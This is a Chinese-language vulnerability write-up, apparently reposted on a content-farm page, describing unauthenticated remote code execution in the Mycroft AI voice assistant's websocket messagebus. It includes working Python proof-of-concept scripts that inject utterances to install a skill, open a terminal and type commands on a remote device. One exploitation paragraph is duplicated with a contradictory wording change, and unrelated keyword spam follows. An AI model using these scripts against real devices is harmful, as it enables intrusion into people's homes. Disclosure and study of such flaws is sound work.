千家信息网

如何进行Mycroft AI的远程代码执行漏洞分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本篇文章给大家分享的是有关如何进行Mycroft AI的远程代码执行漏洞分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。当我在Arch
千家信息网最后更新 2026年10月31日如何进行Mycroft AI的远程代码执行漏洞分析

本篇文章给大家分享的是有关如何进行Mycroft AI的远程代码执行漏洞分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

当我在Arch Linux社区开源软件包的开发贡献过程中,发现了一个很有意思的项目-麦考夫Mycroft AI,它是一款开源且基于人工智能(AI)的语音助理应用,在对它的研究过程中,我发现了一个不用点击交互即可实现的远程代码执行漏洞(RCE)。

与业界有名的Amazon Echo和Google Home不同的是,Mycroft最早于2015年开始在海外网站发起众筹来批量生产其Mark-I 和 Mark-II 代产品,而3月份其Mark-II代产品上线4天后就被售罄脱销。Mycroft AI智能语音助理基于Linux Desktop/Server和Raspberry PI架构,现广泛用于智能自动化家居系统中,其新款应用将订制化应用于捷豹和路虎的某些车型中。

代码分析

在对Mycroft AI的源代码分析中,我发现了其中有意思的一个地方:

...host = config.get("host")port = config.get("port")route = config.get("route")validate_param(host, "websocket.host")validate_param(port, "websocket.port")validate_param(route, "websocket.route")routes = [        (route, WebsocketEventHandler)]application = web.Application(routes, **settings)application.listen(port, host)ioloop.IOLoop.instance().start()...

在这里它定义了一个websocket服务端,用来接收类似于Andriod远程客户端的指令,在mycroft.conf中给出了websocket服务端设置的具体定义:

// The mycroft-core messagebus' websocket  "websocket": {    "host": "0.0.0.0",    "port": 8181,    "route": "/core",    "ssl": false},

从以上代码可知,在0.0.0.0:8181/core上默认的websocket服务端竟然无需任何身份验证,好吧,让我们写个脚本来测试一下:

#!/usr/bin/env pythonimport asyncioimport websocketsuri = "ws://myserver:8181/core"command = "say pwned"async def sendPayload():    async with websockets.connect(uri) as websocket:        await websocket.send("{\"data\": {\"utterances\": [\""+command+"\"]}, \"type\": \"recognizer_loop:utterance\", \"context\": null}")asyncio.get_event_loop().run_until_complete(sendPayload())

很好,我们能让Mycroft AI自己说 "pwned",这样,我们也能让Mycroft AI远程发声,但这也不算是什么大发现,最多也只能吓唬一下朋友而已。

Mycroft AI 的技能系统

深入挖掘之后,可以发现Mycroft内置了一个技能系统,可以在其基础上安装其它你想要的语音技能,听起来很好,不是吗?

那么,Mycroft的一种技能是由哪些元素组成的呢?从给出的说明文档可以看到,Mycroft的技能元素如下:

dialog/en-us/command.dialog: 包含了能触发技能的语音命令

vocab/en-us/answer.voc: 包含了Mycroft发声的答案

requirements.txt: 包含了由 pip 方式安装的技能所需安装包

__int__.py:包含了技能的主函数和触发执行时的需要加载的命令

利用分析

有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL未被一些在线网站白名单化。这虽然有可能,但多少有些麻烦。

测试实现

有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL是一些未被白名单化的在线网站。这虽然有可能,但执行起来多少有些麻烦。

Mycroft 内置了很多默认技能,如 open 这种能打开其它第三方应用的,还有一些经过白名单化但未被安装在Mycroft设备上的技能。通过再次研究,我发现了一个名为skill-autogui的有趣技能,它的主要功能是对鼠标键盘的控制,好吧,我们就用它来试试!把所有以上可利用的发现组合成一个PoC:

#!/usr/bin/env pythonimport sysimport asyncioimport websocketsimport timecmds = ["mute audio"] + sys.argv[1:]uri = "ws://myserver:8181/core"async def sendPayload():    for payload in cmds:        async with websockets.connect(uri) as websocket:            await websocket.send("{\"data\": {\"utterances\": [\""+payload+"\"]}, \"type\": \"recognizer_loop:utterance\", \"context\": null}")            time.sleep(1)asyncio.get_event_loop().run_until_complete(sendPayload())

用 pwn.py "install autogui" "open xterm" "type echo pwned" "press enter" 命令运行exploit代码之后,就能在一台远程Mycroft设备的Linux系统上执行命令:

Notes:

open xterm:由于我的测试用Linux是桌面版的,所以,远程测试机也是直接通过终端TTY来执行的;

目前,Mycroft的技能分支包存在一个比较大的变化,包括autogui在内的一些技能是暂不可用的,但这不是重点。Mycroft的许多技能可于智能自动化家居系统进行交互,所以,它的其它服务或许也存在可被控制利用的可能。这个漏洞的关键在于,其中websocket服务端缺乏必要的身份验证。

漏洞影响设备

所有搭载有Mycroft,且websocket服务端暴露在网的设备(Mark-I代应用的websocket接口默认在防火墙之后)

以上就是如何进行Mycroft AI的远程代码执行漏洞分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

技能 代码 命令 设备 语音 服务 漏洞 分析 系统 应用 元素 智能 测试 名单 方式 网站 漏洞分析 遗憾 有意思 产品 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 中国互联网科技工作委员会毛军 致聘互联网科技 壕鑫互联网络科技 互联网科技股有哪些 多迪互联网科技有限公司 丰台科技园 互联网公司 富国互联网科技创新基金 互联网实体化科技化 字节跳动和互联网科技 互联网科技项目计划书材料类 荆州市昕露互联网络科技有限公司 青岛科技大学互联网大赛研究生 苏州铭阳互联网科技有限公司 坤平互联网科技 互联网科技大奖都有哪些公司 中国互联网十大科技股排名 工业互联网山东科技大学 美国互联网科技公司 陕西九四连强互联网科技有限公司 杭州科技互联网公司有哪些 互联网科技图片 广州百单互联网科技有限公司 互联网最新的科技 掌上梦互联网科技 互联网科技博主是什么意思 厦门千工互联网科技有限公司 福州德业互联网科技 中国新注册互联网科技 互联网科技品牌 互联网科技对化妆品行业
0